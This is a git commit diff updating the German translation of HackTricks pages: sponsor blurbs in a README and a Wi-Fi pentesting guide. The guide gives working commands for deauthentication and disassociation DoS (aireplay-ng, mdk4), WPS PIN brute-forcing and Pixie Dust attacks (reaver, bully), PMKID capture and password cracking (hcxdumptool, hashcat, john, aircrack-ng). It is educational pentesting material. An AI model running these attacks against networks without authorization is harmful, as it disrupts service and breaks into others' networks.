Translated ['README.md', 'generic-methodologies-and-resources/pentesting

This commit is contained in:
Translator 2024-11-19 12:33:03 +00:00
parent 12bbbd871d
commit c7a5c55efd
19 changed files with 392 additions and 382 deletions

View file

@ -20,7 +20,7 @@ Um zu beginnen, folgen Sie dieser Seite, wo Sie den **typischen Ablauf** finden,
<figure><img src=".gitbook/assets/stm (1).png" alt=""><figcaption></figcaption></figure>
[**STM Cyber**](https://www.stmcyber.com) ist ein großartiges Cybersicherheitsunternehmen, dessen Slogan **HACK THE UNHACKABLE** lautet. Sie führen eigene Forschungen durch und entwickeln eigene Hacking-Tools, um **verschiedene wertvolle Cybersicherheitsdienste** wie Pentesting, Red Teams und Schulungen anzubieten.
[**STM Cyber**](https://www.stmcyber.com) ist ein großartiges Cybersicherheitsunternehmen, dessen Slogan **HACK THE UNHACKABLE** ist. Sie führen eigene Forschungen durch und entwickeln eigene Hacking-Tools, um **verschiedene wertvolle Cybersicherheitsdienste** wie Pentesting, Red Teams und Schulungen anzubieten.
Sie können ihren **Blog** unter [**https://blog.stmcyber.com**](https://blog.stmcyber.com) einsehen.
@ -32,7 +32,7 @@ Sie können ihren **Blog** unter [**https://blog.stmcyber.com**](https://blog.st
<figure><img src=".gitbook/assets/image (45).png" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com) ist die relevanteste Cybersicherheitsveranstaltung in **Spanien** und eine der wichtigsten in **Europa**. Mit **der Mission, technisches Wissen zu fördern**, ist dieser Kongress ein brodelnder Treffpunkt für Technologie- und Cybersicherheitsexperten in jeder Disziplin.
[**RootedCON**](https://www.rootedcon.com) ist die relevanteste Cybersicherheitsveranstaltung in **Spanien** und eine der wichtigsten in **Europa**. Mit **der Mission, technisches Wissen zu fördern**, ist dieser Kongress ein brodelnder Treffpunkt für Technologie- und Cybersicherheitsprofis in jeder Disziplin.
{% embed url="https://www.rootedcon.com/" %}
@ -42,7 +42,7 @@ Sie können ihren **Blog** unter [**https://blog.stmcyber.com**](https://blog.st
<figure><img src=".gitbook/assets/image (47).png" alt=""><figcaption></figcaption></figure>
**Intigriti** ist die **Nummer 1** Plattform für ethisches Hacking und **Bug Bounty in Europa.**
**Intigriti** ist die **#1** Plattform für ethisches Hacking und **Bug Bounty in Europa.**
**Bug Bounty Tipp**: **Melden Sie sich an** für **Intigriti**, eine Premium-**Bug Bounty-Plattform, die von Hackern für Hacker erstellt wurde**! Treten Sie uns heute bei unter [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) und beginnen Sie, Belohnungen von bis zu **100.000 $** zu verdienen!
@ -65,7 +65,7 @@ Zugriff heute erhalten:
### [HACKENPROOF](https://bit.ly/3xrrDrL)
<figure><img src=".gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Treten Sie dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) Server bei, um mit erfahrenen Hackern und Bug Bounty-Jägern zu kommunizieren!
@ -108,11 +108,11 @@ Sie können **hier ein kostenloses Konto erstellen** [**hier**](https://serpapi.
<figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure>
[**WebSec**](https://websec.nl) ist ein professionelles Cybersicherheitsunternehmen mit Sitz in **Amsterdam**, das **Unternehmen auf der ganzen Welt** dabei hilft, sich gegen die neuesten Cybersicherheitsbedrohungen zu **schützen**, indem es **offensive Sicherheitsdienste** mit einem **modernen** Ansatz anbietet.
[**WebSec**](https://websec.nl) ist ein professionelles Cybersicherheitsunternehmen mit Sitz in **Amsterdam**, das **Unternehmen** auf der ganzen Welt hilft, sich gegen die neuesten Cybersicherheitsbedrohungen zu **schützen**, indem es **Offensive-Security-Dienste** mit einem **modernen** Ansatz anbietet.
WebSec ist ein **All-in-One-Sicherheitsunternehmen**, was bedeutet, dass sie alles machen; Pentesting, **Sicherheits**-Audits, Awareness-Trainings, Phishing-Kampagnen, Code-Überprüfungen, Exploit-Entwicklung, Outsourcing von Sicherheitsexperten und vieles mehr.
WebSec ist ein **All-in-One-Sicherheitsunternehmen**, was bedeutet, dass sie alles anbieten; Pentesting, **Sicherheits**-Audits, Awareness-Trainings, Phishing-Kampagnen, Code-Überprüfungen, Exploit-Entwicklung, Outsourcing von Sicherheitsexperten und vieles mehr.
Ein weiterer cooler Aspekt von WebSec ist, dass WebSec im Gegensatz zum Branchendurchschnitt **sehr zuversichtlich in ihre Fähigkeiten ist**, so sehr, dass sie **die besten Qualitätsresultate garantieren**, es steht auf ihrer Website "**Wenn wir es nicht hacken können, zahlen Sie nicht!**". Für weitere Informationen werfen Sie einen Blick auf ihre [**Website**](https://websec.nl/en/) und [**Blog**](https://websec.nl/blog/)!
Ein weiterer cooler Aspekt von WebSec ist, dass WebSec im Gegensatz zum Branchendurchschnitt **sehr zuversichtlich in ihre Fähigkeiten ist**, so sehr, dass sie **die besten Qualitätsresultate garantieren**, es steht auf ihrer Website: "**Wenn wir es nicht hacken können, zahlen Sie nicht!**". Für weitere Informationen werfen Sie einen Blick auf ihre [**Website**](https://websec.nl/en/) und [**Blog**](https://websec.nl/blog/)!
Zusätzlich zu den oben genannten ist WebSec auch ein **engagierter Unterstützer von HackTricks.**

View file

@ -6,7 +6,7 @@ Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
<details>
<summary>Support HackTricks</summary>
<summary>Unterstützen Sie HackTricks</summary>
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
@ -15,7 +15,7 @@ Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Treten Sie dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!
@ -26,7 +26,7 @@ Engagieren Sie sich mit Inhalten, die in den Nervenkitzel und die Herausforderun
Bleiben Sie auf dem Laufenden über die schnelllebige Hacking-Welt durch Echtzeit-Nachrichten und Einblicke
**Neueste Ankündigungen**\
Bleiben Sie informiert über die neuesten Bug-Bounties, die gestartet werden, und wichtige Plattform-Updates
Bleiben Sie informiert über die neuesten Bug-Bounties und wichtige Plattform-Updates
**Treten Sie uns auf** [**Discord**](https://discord.com/invite/N3FrSbmwdy) bei und beginnen Sie noch heute mit den besten Hackern zusammenzuarbeiten!
@ -85,11 +85,11 @@ sudo python setup.py install # Install any dependencies
Dieses Tool automatisiert **WPS/WEP/WPA-PSK** Angriffe. Es wird automatisch:
* Die Schnittstelle in den Überwachungsmodus versetzen
* Nach möglichen Netzwerken scannen - Und Ihnen erlauben, die Opfer auszuwählen
* Die Schnittstelle in den Überwachungsmodus setzen
* Nach möglichen Netzwerken scannen - Und Ihnen erlauben, das Opfer/die Opfer auszuwählen
* Wenn WEP - WEP-Angriffe starten
* Wenn WPA-PSK
* Wenn WPS: Pixie Dust-Angriff und den Brute-Force-Angriff (seien Sie vorsichtig, der Brute-Force-Angriff kann lange dauern). Beachten Sie, dass es keinen Null-PIN oder Datenbank/erzeugte PINs versucht.
* Wenn WPS: Pixie Dust-Angriff und den Brute-Force-Angriff (seien Sie vorsichtig, der Brute-Force-Angriff könnte lange dauern). Beachten Sie, dass es keinen Null-PIN oder Datenbank/erzeugte PINs versucht.
* Versuchen, die PMKID vom AP zu erfassen, um sie zu knacken
* Versuchen, Clients des APs zu deauthentifizieren, um einen Handshake zu erfassen
* Wenn PMKID oder Handshake, versuchen, mit den Top5000 Passwörtern zu bruteforcen.
@ -97,8 +97,8 @@ Dieses Tool automatisiert **WPS/WEP/WPA-PSK** Angriffe. Es wird automatisch:
## Angriffsübersicht
* **DoS**
* Deauthentication/Disassociation -- Alle (oder ein bestimmtes ESSID/Client) trennen
* Zufällige gefälschte APs -- Netzwerke verstecken, mögliche Scanner zum Absturz bringen
* Deauthentifizierung/Dissoziation -- Alle (oder ein bestimmtes ESSID/Client) trennen
* Zufällige gefälschte APs -- Netze verstecken, mögliche Scanner zum Absturz bringen
* AP überlasten -- Versuchen, den AP abzuschalten (normalerweise nicht sehr nützlich)
* WIDS -- Mit dem IDS spielen
* TKIP, EAPOL -- Einige spezifische Angriffe, um einige APs zu DoS
@ -115,19 +115,19 @@ Dieses Tool automatisiert **WPS/WEP/WPA-PSK** Angriffe. Es wird automatisch:
* **Offenes** Evil Twin \[+ DoS] -- Nützlich, um Anmeldeinformationen für das Captive Portal zu erfassen und/oder LAN-Angriffe durchzuführen
* **WPA-PSK** Evil Twin -- Nützlich für Netzwerkangriffe, wenn Sie das Passwort kennen
* **WPA-MGT** -- Nützlich, um Unternehmensanmeldeinformationen zu erfassen
* **KARMA, MANA**, **Loud MANA**, **Bekannter Beacon**
* **KARMA, MANA**, **Loud MANA**, **Bekanntes Beacon**
* **+ Offen** -- Nützlich, um Anmeldeinformationen für das Captive Portal zu erfassen und/oder LAN-Angriffe durchzuführen
* **+ WPA** -- Nützlich, um WPA Handshakes zu erfassen
* **+ WPA** -- Nützlich, um WPA-Handshakes zu erfassen
## DOS
### Deauthentication-Pakete
### Deauthentifizierungspakete
**Beschreibung von** [**hier**:](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**.**
**Deauthentication**-Angriffe, eine verbreitete Methode im Wi-Fi-Hacking, beinhalten das Fälschen von "Management"-Frames, um **Geräte gewaltsam von einem Netzwerk zu trennen**. Diese unverschlüsselten Pakete täuschen die Clients vor, dass sie vom legitimen Netzwerk stammen, was Angreifern ermöglicht, WPA-Handshakes zu sammeln, um sie zu knacken, oder um Netzwerkverbindungen dauerhaft zu stören. Diese Taktik, die in ihrer Einfachheit alarmierend ist, wird weit verbreitet eingesetzt und hat erhebliche Auswirkungen auf die Netzwerksicherheit.
**Deauthentifizierungs**-Angriffe, eine verbreitete Methode im Wi-Fi-Hacking, beinhalten das Fälschen von "Management"-Frames, um **Geräte gewaltsam von einem Netzwerk zu trennen**. Diese unverschlüsselten Pakete täuschen die Clients vor, dass sie vom legitimen Netzwerk stammen, was Angreifern ermöglicht, WPA-Handshakes zu sammeln, um sie zu knacken, oder um Netzwerkverbindungen dauerhaft zu stören. Diese Taktik, die in ihrer Einfachheit alarmierend ist, wird weit verbreitet eingesetzt und hat erhebliche Auswirkungen auf die Netzwerksicherheit.
**Deauthentication mit Aireplay-ng**
**Deauthentifizierung mit Aireplay-ng**
```
aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
```
@ -139,7 +139,7 @@ aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
### Disassoziationspakete
**Disassoziationspakete**, ähnlich wie Deauthentifizierungspakete, sind eine Art von Management-Frame, die in Wi-Fi-Netzwerken verwendet werden. Diese Pakete dienen dazu, die Verbindung zwischen einem Gerät (wie einem Laptop oder Smartphone) und einem Access Point (AP) zu trennen. Der Hauptunterschied zwischen Disassoziation und Deauthentifizierung liegt in ihren Nutzungsszenarien. Während ein AP **Deauthentifizierungspakete sendet, um unerwünschte Geräte ausdrücklich aus dem Netzwerk zu entfernen, werden Disassoziationspakete typischerweise gesendet, wenn der AP heruntergefahren wird**, neu gestartet wird oder sich bewegt, wodurch die Trennung aller verbundenen Knoten erforderlich wird.
**Disassoziationspakete**, ähnlich wie Deauthentifizierungspakete, sind eine Art von Management-Frame, die in Wi-Fi-Netzwerken verwendet werden. Diese Pakete dienen dazu, die Verbindung zwischen einem Gerät (wie einem Laptop oder Smartphone) und einem Access Point (AP) zu trennen. Der Hauptunterschied zwischen Disassoziation und Deauthentifizierung liegt in ihren Nutzungsszenarien. Während ein AP **Deauthentifizierungspakete sendet, um bösartige Geräte ausdrücklich aus dem Netzwerk zu entfernen, werden Disassoziationspakete typischerweise gesendet, wenn der AP heruntergefahren wird**, neu gestartet wird oder sich bewegt, wodurch die Trennung aller verbundenen Knoten erforderlich wird.
**Dieser Angriff kann mit mdk4 (Modus "d") durchgeführt werden:**
```bash
@ -180,7 +180,7 @@ Die Abfrage von Access Points (APs) überprüft, ob ein SSID ordnungsgemäß ang
**ANGRIFFSMODUS m: Ausnutzung von Michael-Gegenmaßnahmen**
Das Senden von zufälligen oder doppelten Paketen an verschiedene QoS-Warteschlangen kann die Michael-Gegenmaßnahmen bei **TKIP APs** auslösen, was zu einer einminütigen Abschaltung des APs führt. Diese Methode ist eine effiziente Taktik für einen **DoS** (Denial of Service) Angriff.
Das Senden von zufälligen oder doppelten Paketen an verschiedene QoS-Warteschlangen kann Michael-Gegenmaßnahmen auf **TKIP APs** auslösen, was zu einer einminütigen Abschaltung des APs führt. Diese Methode ist eine effiziente **DoS** (Denial of Service) Angriffstaktik.
```bash
# -t <BSSID> of a TKIP AP
# -j use inteligent replay to create the DoS
@ -188,7 +188,7 @@ mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]
```
**ANGRIFFSMODUS e: EAPOL Start- und Logoff-Paket-Injektion**
Das Überfluten eines AP mit **EAPOL Start-Frames** erzeugt **falsche Sitzungen**, überlastet den AP und blockiert legitime Clients. Alternativ führt das Injizieren von **falschen EAPOL Logoff-Nachrichten** zu einer erzwungenen Trennung von Clients, wobei beide Methoden den Netzwerkdienst effektiv stören.
Das Überfluten eines AP mit **EAPOL Start-Frames** erzeugt **falsche Sitzungen**, überlastet den AP und blockiert legitime Clients. Alternativ führt das Injizieren von **falschen EAPOL Logoff-Nachrichten** zu einer erzwungenen Trennung der Clients, wobei beide Methoden den Netzwerkdienst effektiv stören.
```bash
# Use Logoff messages to kick clients
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]
@ -225,7 +225,7 @@ Es gibt 2 Hauptwerkzeuge, um diese Aktion durchzuführen: Reaver und Bully.
* **Reaver** wurde entwickelt, um einen robusten und praktischen Angriff gegen WPS durchzuführen und wurde gegen eine Vielzahl von Zugangspunkten und WPS-Implementierungen getestet.
* **Bully** ist eine **neue Implementierung** des WPS-Brute-Force-Angriffs, geschrieben in C. Es hat mehrere Vorteile gegenüber dem ursprünglichen Reaver-Code: weniger Abhängigkeiten, verbesserte Speicher- und CPU-Leistung, korrekte Handhabung der Endianness und ein robusteres Set von Optionen.
Der Angriff nutzt die **Anfälligkeit der WPS-PIN**, insbesondere die Offenlegung der ersten vier Ziffern und die Rolle der letzten Ziffer als Prüfziffer, was den Brute-Force-Angriff erleichtert. Allerdings erfordern Abwehrmaßnahmen gegen Brute-Force-Angriffe, wie das **Blockieren von MAC-Adressen** aggressiver Angreifer, eine **MAC-Adressrotation**, um den Angriff fortzusetzen.
Der Angriff nutzt die **Anfälligkeit der WPS-PIN**, insbesondere die Offenlegung der ersten vier Ziffern und die Rolle der letzten Ziffer als Prüfziffer, was den Brute-Force-Angriff erleichtert. Verteidigungen gegen Brute-Force-Angriffe, wie das **Blockieren von MAC-Adressen** aggressiver Angreifer, erfordern **MAC-Adressrotation**, um den Angriff fortzusetzen.
Nach dem Erhalt der WPS-PIN mit Werkzeugen wie Bully oder Reaver kann der Angreifer den WPA/WPA2 PSK ableiten, was **dauerhaften Netzwerkzugang** gewährleistet.
```bash
@ -236,14 +236,14 @@ bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
Dieser verfeinerte Ansatz zielt auf WPS-PINs ab, die bekannte Schwachstellen nutzen:
1. **Vorentdeckte PINs**: Nutzen Sie eine Datenbank mit bekannten PINs, die mit bestimmten Herstellern verknüpft sind, die dafür bekannt sind, einheitliche WPS-PINs zu verwenden. Diese Datenbank korreliert die ersten drei Oktette der MAC-Adressen mit wahrscheinlichen PINs für diese Hersteller.
1. **Vorentdeckte PINs**: Nutzen Sie eine Datenbank mit bekannten PINs, die mit bestimmten Herstellern verknüpft sind, die einheitliche WPS-PINs verwenden. Diese Datenbank korreliert die ersten drei Oktette der MAC-Adressen mit wahrscheinlichen PINs für diese Hersteller.
2. **PIN-Generierungsalgorithmen**: Nutzen Sie Algorithmen wie ComputePIN und EasyBox, die WPS-PINs basierend auf der MAC-Adresse des APs berechnen. Der Arcadyan-Algorithmus erfordert zusätzlich eine Geräte-ID, was eine zusätzliche Ebene im PIN-Generierungsprozess hinzufügt.
### WPS Pixie Dust attack
**Dominique Bongard** entdeckte einen Fehler in einigen Access Points (APs) bezüglich der Erstellung von geheimen Codes, bekannt als **nonces** (**E-S1** und **E-S2**). Wenn diese nonces herausgefunden werden können, wird das Knacken des WPS-PINs des APs einfach. Der AP gibt den PIN innerhalb eines speziellen Codes (Hash) preis, um zu beweisen, dass er legitim und kein gefälschter (rogue) AP ist. Diese nonces sind im Wesentlichen die "Schlüssel", um den "Safe" zu öffnen, der den WPS-PIN enthält. Mehr dazu finden Sie [hier](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-\(Offline-WPS-Attack\)).
Einfach ausgedrückt, besteht das Problem darin, dass einige APs nicht ausreichend zufällige Schlüssel zur Verschlüsselung des PINs während des Verbindungsprozesses verwendeten. Dies macht den PIN anfällig dafür, von außerhalb des Netzwerks erraten zu werden (offline brute force attack).
Einfach ausgedrückt, das Problem ist, dass einige APs nicht ausreichend zufällige Schlüssel zur Verschlüsselung des PINs während des Verbindungsprozesses verwendet haben. Dies macht den PIN anfällig dafür, von außerhalb des Netzwerks (offline brute force attack) erraten zu werden.
```bash
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3
@ -264,21 +264,21 @@ Alle vorgeschlagenen WPS-Angriffe können einfach mit _**airgeddon.**_ durchgef
![](<../../.gitbook/assets/image (219).png>)
* 5 und 6 ermöglichen es dir, **deine benutzerdefinierte PIN** auszuprobieren (falls du eine hast)
* 5 und 6 ermöglichen es dir, **deine benutzerdefinierte PIN** auszuprobieren (wenn du eine hast)
* 7 und 8 führen den **Pixie Dust Angriff** durch
* 13 erlaubt es dir, die **NULL PIN** zu testen
* 11 und 12 werden **die PINs, die mit dem ausgewählten AP aus verfügbaren Datenbanken verbunden sind, sammeln** und **mögliche PINs generieren** mit: ComputePIN, EasyBox und optional Arcadyan (empfohlen, warum nicht?)
* 11 und 12 werden **die PINs, die mit dem ausgewählten AP verbunden sind, aus verfügbaren Datenbanken sammeln** und **mögliche PINs generieren** mit: ComputePIN, EasyBox und optional Arcadyan (empfohlen, warum nicht?)
* 9 und 10 testen **jede mögliche PIN**
## **WEP**
So kaputt und heutzutage ungenutzt. Wisse einfach, dass _**airgeddon**_ eine WEP-Option namens "All-in-One" hat, um diese Art von Schutz anzugreifen. Mehr Tools bieten ähnliche Optionen an.
So kaputt und heutzutage ungenutzt. Wisse einfach, dass _**airgeddon**_ eine WEP-Option namens "All-in-One" hat, um diese Art von Schutz anzugreifen. Mehrere Tools bieten ähnliche Optionen an.
![](<../../.gitbook/assets/image (432).png>)
***
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Tritt dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!
@ -301,15 +301,15 @@ Bleibe informiert über die neuesten Bug-Bounties, die gestartet werden, und wic
Im Jahr 2018 enthüllte **hashcat** [eine neue Angriffsmethode](https://hashcat.net/forum/thread-7717.html), die einzigartig ist, weil sie nur **ein einzelnes Paket** benötigt und keine Clients benötigt, die mit dem Ziel-AP verbunden sind nur Interaktion zwischen dem Angreifer und dem AP.
Viele moderne Router fügen ein **optional Feld** zum **ersten EAPOL**-Frame während der Assoziation hinzu, bekannt als `Robust Security Network`. Dies umfasst das `PMKID`.
Viele moderne Router fügen ein **optional Feld** zum **ersten EAPOL**-Frame während der Assoziation hinzu, bekannt als `Robust Security Network`. Dies umfasst die `PMKID`.
Wie der ursprüngliche Beitrag erklärt, wird das **PMKID** mit bekannten Daten erstellt:
Wie der ursprüngliche Beitrag erklärt, wird die **PMKID** mit bekannten Daten erstellt:
```bash
PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)
```
Angesichts der Tatsache, dass der "PMK Name" konstant ist, kennen wir die BSSID des AP und der Station, und das `PMK` identisch mit dem aus einem vollständigen 4-Wege-Handshake ist, kann **hashcat** diese Informationen nutzen, um den PSK zu knacken und das Passwort wiederherzustellen!
Um diese Informationen zu **sammeln** und das Passwort lokal zu **bruteforcen**, können Sie Folgendes tun:
Um diese Informationen zu **sammeln** und das Passwort lokal zu **bruteforcen**, kannst du Folgendes tun:
```bash
airmon-ng check kill
airmon-ng start wlan0
@ -321,14 +321,14 @@ hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
#You can also obtains PMKIDs using eaphammer
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1
```
Die **erfassten PMKIDs** werden in der **Konsole** angezeigt und auch **gespeichert** in \_ **/tmp/attack.pcap**\_\
Jetzt, konvertiere die Erfassung in **hashcat/john** Format und knacken es:
Die **PMKIDs, die erfasst wurden**, werden in der **Konsole** angezeigt und auch **gespeichert** in \_ **/tmp/attack.pcap**\_\
Jetzt konvertiere die Erfassung in **hashcat/john**-Format und knacken sie:
```bash
hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
```
Bitte beachten Sie, dass das Format eines korrekten Hashs **4 Teile** enthält, wie: `4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838`. Wenn Ihrer **nur** **3 Teile** enthält, dann ist es **ungültig** (der PMKID-Capture war nicht gültig).
Bitte beachten Sie, dass das Format eines korrekten Hashs **4 Teile** enthält, wie: `4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838`. Wenn Ihrer **nur** **3 Teile** enthält, ist er **ungültig** (der PMKID-Capture war nicht gültig).
Beachten Sie, dass `hcxdumptool` **auch Handshakes erfasst** (etwas wie dies wird erscheinen: **`MP:M1M2 RC:63258 EAPOLTIME:17091`**). Sie könnten die **Handshakes** in **hashcat**/**john**-Format mit `cap2hccapx` **umwandeln**.
```bash
@ -338,7 +338,7 @@ hccap2john pmkid.hccapx > handshake.john
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes
```
_Ich habe festgestellt, dass einige Handshakes, die mit diesem Tool erfasst wurden, selbst bei Kenntnis des richtigen Passworts nicht geknackt werden konnten. Ich empfehle, Handshakes auch auf traditionelle Weise zu erfassen, wenn möglich, oder mehrere davon mit diesem Tool zu erfassen._
_Ich habe festgestellt, dass einige Handshakes, die mit diesem Tool erfasst wurden, nicht geknackt werden konnten, selbst wenn das richtige Passwort bekannt war. Ich empfehle, Handshakes auch auf traditionelle Weise zu erfassen, wenn möglich, oder mehrere davon mit diesem Tool zu erfassen._
### Handshake-Erfassung
@ -355,7 +355,7 @@ aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may no
```
_Beachten Sie, dass der Client, als er deauthentifiziert wurde, versuchen könnte, sich mit einem anderen AP oder in anderen Fällen mit einem anderen Netzwerk zu verbinden._
Sobald im `airodump-ng` einige Handshake-Informationen erscheinen, bedeutet dies, dass der Handshake erfasst wurde und Sie das Lauschen stoppen können:
Sobald in `airodump-ng` einige Handshake-Informationen erscheinen, bedeutet dies, dass der Handshake erfasst wurde und Sie das Lauschen stoppen können:
![](<../../.gitbook/assets/image (172) (1).png>)
@ -363,7 +363,7 @@ Sobald der Handshake erfasst ist, können Sie ihn mit `aircrack-ng` **knacken**:
```
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap
```
### Überprüfen, ob Handshake in der Datei
### Überprüfen, ob der Handshake in der Datei ist
**aircrack**
```bash
@ -386,20 +386,20 @@ pyrit -r psk-01.cap analyze
```
## **WPA Enterprise (MGT)**
In **unternehmerischen WiFi-Setups werden Sie auf verschiedene Authentifizierungsmethoden stoßen**, die jeweils unterschiedliche Sicherheitsniveaus und Verwaltungsfunktionen bieten. Wenn Sie Tools wie `airodump-ng` verwenden, um den Netzwerkverkehr zu inspizieren, könnten Sie Bezeichner für diese Authentifizierungstypen bemerken. Einige gängige Methoden sind:
In **unternehmensweiten WiFi-Setups werden Sie auf verschiedene Authentifizierungsmethoden stoßen**, die jeweils unterschiedliche Sicherheitsniveaus und Verwaltungsfunktionen bieten. Wenn Sie Tools wie `airodump-ng` verwenden, um den Netzwerkverkehr zu inspizieren, könnten Sie Identifikatoren für diese Authentifizierungstypen bemerken. Einige gängige Methoden sind:
```
6A:FE:3B:73:18:FB -58 19 0 0 1 195 WPA2 CCMP MGT NameOfMyWifi
```
1. **EAP-GTC (Generic Token Card)**:
* Diese Methode unterstützt Hardware-Token und Einmalpasswörter innerhalb von EAP-PEAP. Im Gegensatz zu MSCHAPv2 verwendet sie keine Peer-Herausforderung und sendet Passwörter im Klartext an den Access Point, was ein Risiko für Downgrade-Angriffe darstellt.
2. **EAP-MD5 (Message Digest 5)**:
* Beinhaltet das Senden des MD5-Hashes des Passworts vom Client. Es wird **nicht empfohlen**, da es anfällig für Wörterbuchangriffe ist, keine Serverauthentifizierung bietet und keine sitzungsbezogenen WEP-Schlüssel generieren kann.
* Beinhaltet das Senden des MD5-Hashes des Passworts vom Client. Es wird **nicht empfohlen** aufgrund der Anfälligkeit für Wörterbuchangriffe, fehlender Serverauthentifizierung und der Unfähigkeit, sitzungsbezogene WEP-Schlüssel zu generieren.
3. **EAP-TLS (Transport Layer Security)**:
* Nutzt sowohl clientseitige als auch serverseitige Zertifikate zur Authentifizierung und kann dynamisch benutzerbasierte und sitzungsbasierte WEP-Schlüssel zur Sicherung der Kommunikation generieren.
4. **EAP-TTLS (Tunneled Transport Layer Security)**:
* Bietet gegenseitige Authentifizierung durch einen verschlüsselten Tunnel sowie eine Methode zur Ableitung dynamischer, benutzer- und sitzungsbezogener WEP-Schlüssel. Es erfordert nur serverseitige Zertifikate, wobei die Clients Anmeldeinformationen verwenden.
5. **PEAP (Protected Extensible Authentication Protocol)**:
* Funktioniert ähnlich wie EAP, indem es einen TLS-Tunnel für geschützte Kommunikation erstellt. Es erlaubt die Verwendung schwächerer Authentifizierungsprotokolle über EAP, aufgrund des durch den Tunnel gebotenen Schutzes.
* Funktioniert ähnlich wie EAP, indem es einen TLS-Tunnel für geschützte Kommunikation erstellt. Es erlaubt die Verwendung schwächerer Authentifizierungsprotokolle über EAP aufgrund des durch den Tunnel gebotenen Schutzes.
* **PEAP-MSCHAPv2**: Oft als PEAP bezeichnet, kombiniert es den anfälligen MSCHAPv2 Challenge/Response-Mechanismus mit einem schützenden TLS-Tunnel.
* **PEAP-EAP-TLS (oder PEAP-TLS)**: Ähnlich wie EAP-TLS, initiiert jedoch einen TLS-Tunnel, bevor Zertifikate ausgetauscht werden, und bietet eine zusätzliche Sicherheitsebene.
@ -414,27 +414,27 @@ Innerhalb des "**Response, Identity**" Pakets wird der **Benutzername** des Clie
![](<../../.gitbook/assets/image (850).png>)
### Anonyme Identitäten
### Anonymous Identities
Die Identitätsverbergung wird sowohl von EAP-PEAP als auch von EAP-TTLS unterstützt. Im Kontext eines WiFi-Netzwerks wird eine EAP-Identitätsanfrage typischerweise vom Access Point (AP) während des Assoziationsprozesses initiiert. Um den Schutz der Anonymität der Benutzer zu gewährleisten, enthält die Antwort des EAP-Clients auf dem Gerät des Benutzers nur die wesentlichen Informationen, die der anfängliche RADIUS-Server benötigt, um die Anfrage zu verarbeiten. Dieses Konzept wird durch die folgenden Szenarien veranschaulicht:
Die Identitätsverbergung wird sowohl von EAP-PEAP als auch von EAP-TTLS unterstützt. Im Kontext eines WiFi-Netzwerks wird eine EAP-Identitätsanforderung typischerweise vom Access Point (AP) während des Assoziationsprozesses initiiert. Um den Schutz der Anonymität der Benutzer zu gewährleisten, enthält die Antwort des EAP-Clients auf dem Gerät des Benutzers nur die wesentlichen Informationen, die der anfängliche RADIUS-Server benötigt, um die Anfrage zu verarbeiten. Dieses Konzept wird durch die folgenden Szenarien veranschaulicht:
* EAP-Identität = anonym
* In diesem Szenario verwenden alle Benutzer das pseudonyme "anonym" als ihre Benutzerkennung. Der anfängliche RADIUS-Server fungiert entweder als EAP-PEAP oder EAP-TTLS-Server, der für die Verwaltung der serverseitigen PEAP- oder TTLS-Protokolle verantwortlich ist. Die innere (geschützte) Authentifizierungsmethode wird dann entweder lokal behandelt oder an einen entfernten (Heim-) RADIUS-Server delegiert.
* In diesem Szenario verwenden alle Benutzer das pseudonyme "anonym" als ihre Benutzerkennung. Der anfängliche RADIUS-Server fungiert entweder als EAP-PEAP- oder EAP-TTLS-Server, der für die Verwaltung der serverseitigen PEAP- oder TTLS-Protokolle verantwortlich ist. Die innere (geschützte) Authentifizierungsmethode wird dann entweder lokal behandelt oder an einen entfernten (Heim-) RADIUS-Server delegiert.
